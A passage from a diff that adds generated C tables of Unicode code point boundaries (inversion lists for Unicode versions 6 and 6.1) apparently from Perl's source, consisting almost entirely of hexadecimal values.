+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F131,
+	0x1F132,
+	0x1F13D,
+	0x1F13E,
+	0x1F13F,
+	0x1F140,
+	0x1F142,
+	0x1F143,
+	0x1F146,
+	0x1F147,
+	0x1F14A,
+	0x1F14F,
+	0x1F157,
+	0x1F158,
+	0x1F15F,
+	0x1F160,
+	0x1F179,
+	0x1F17A,
+	0x1F17B,
+	0x1F17D,
+	0x1F17F,
+	0x1F180,
+	0x1F18A,
+	0x1F18E,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F201,
+	0x1F210,
+	0x1F232,
+	0x1F240,
+	0x1F249,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__6_invlist[] = { /* for all charsets */
+	1022,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x528,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x604,
+	0x606,
+	0x61C,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x900,
+	0x978,
+	0x979,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF1,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5A,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10D0,
+	0x10FD,
+	0x1100,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BAB,
+	0x1BAE,
+	0x1BBA,
+	0x1BC0,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C80,
+	0x1CD0,
+	0x1CF3,
+	0x1D00,
+	0x1DE7,
+	0x1DFC,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20BA,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218A,
+	0x2190,
+	0x23F4,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2700,
+	0x2701,
+	0x27CB,
+	0x27CC,
+	0x27CD,
+	0x27CE,
+	0x2B4D,
+	0x2B50,
+	0x2B5A,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF2,
+	0x2CF9,
+	0x2D26,
+	0x2D30,
+	0x2D66,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E32,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FCC,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA674,
+	0xA67C,
+	0xA698,
+	0xA6A0,
+	0xA6F8,
+	0xA700,
+	0xA78F,
+	0xA790,
+	0xA792,
+	0xA7A0,
+	0xA7AA,
+	0xA7FA,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FC,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAE0,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA2E,
+	0xFA30,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE27,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10C00,
+	0x10C49,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x11080,
+	0x110C2,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x13000,
+	0x1342F,
+	0x16800,
+	0x16A39,
+	0x1B000,
+	0x1B002,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0BF,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0E0,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F19B,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23B,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F321,
+	0x1F330,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F380,
+	0x1F394,
+	0x1F3A0,
+	0x1F3C5,
+	0x1F3C6,
+	0x1F3CB,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F400,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4F8,
+	0x1F4F9,
+	0x1F4FD,
+	0x1F500,
+	0x1F53E,
+	0x1F550,
+	0x1F568,
+	0x1F5FB,
+	0x1F600,
+	0x1F601,
+	0x1F611,
+	0x1F612,
+	0x1F615,
+	0x1F616,
+	0x1F617,
+	0x1F618,
+	0x1F619,
+	0x1F61A,
+	0x1F61B,
+	0x1F61C,
+	0x1F61F,
+	0x1F620,
+	0x1F626,
+	0x1F628,
+	0x1F62C,
+	0x1F62D,
+	0x1F62E,
+	0x1F630,
+	0x1F634,
+	0x1F635,
+	0x1F641,
+	0x1F645,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F700,
+	0x1F774,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__6_DOT_1_invlist[] = { /* for all charsets */
+	1098,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x528,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58F,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x605,
+	0x606,
+	0x61C,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x8A0,
+	0x8A1,
+	0x8A2,
+	0x8AD,
+	0x8E4,
+	0x8FF,
+	0x900,
+	0x978,
+	0x979,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5A,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
 	0x10C7,
 	0x10C8,
 	0x10CD,
 	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
 	0x13A0,
-	0x13F6,
-	0x13F8,
-	0x13FE,
+	0x13F5,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
 	0x1C80,
-	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CF7,
 	0x1D00,
-	0x1DC0,
-	0x1E00,
+	0x1DE7,
+	0x1DFC,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -64848,119 +251973,387 @@
 	0x1F80,
 	0x1FB5,
 	0x1FB6,
-	0x1FBD,
-	0x1FBE,
-	0x1FBF,
-	0x1FC2,
 	0x1FC5,
 	0x1FC6,
-	0x1FCD,
-	0x1FD0,
 	0x1FD4,
 	0x1FD6,
 	0x1FDC,
-	0x1FE0,
-	0x1FED,
+	0x1FDD,
+	0x1FF0,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FFD,
-	0x2071,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x206A,
 	0x2072,
-	0x207F,
-	0x2080,
+	0x2074,
+	0x208F,
 	0x2090,
 	0x209D,
-	0x2102,
-	0x2103,
-	0x2107,
-	0x2108,
-	0x210A,
-	0x2114,
-	0x2115,
-	0x2116,
-	0x2119,
-	0x211E,
-	0x2124,
-	0x2125,
-	0x2126,
-	0x2127,
-	0x2128,
-	0x2129,
-	0x212A,
-	0x212E,
-	0x212F,
-	0x2135,
-	0x2139,
-	0x213A,
-	0x213C,
-	0x2140,
-	0x2145,
-	0x214A,
-	0x214E,
-	0x214F,
-	0x2160,
-	0x2180,
-	0x2183,
-	0x2185,
-	0x24B6,
-	0x24EA,
+	0x20A0,
+	0x20BA,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218A,
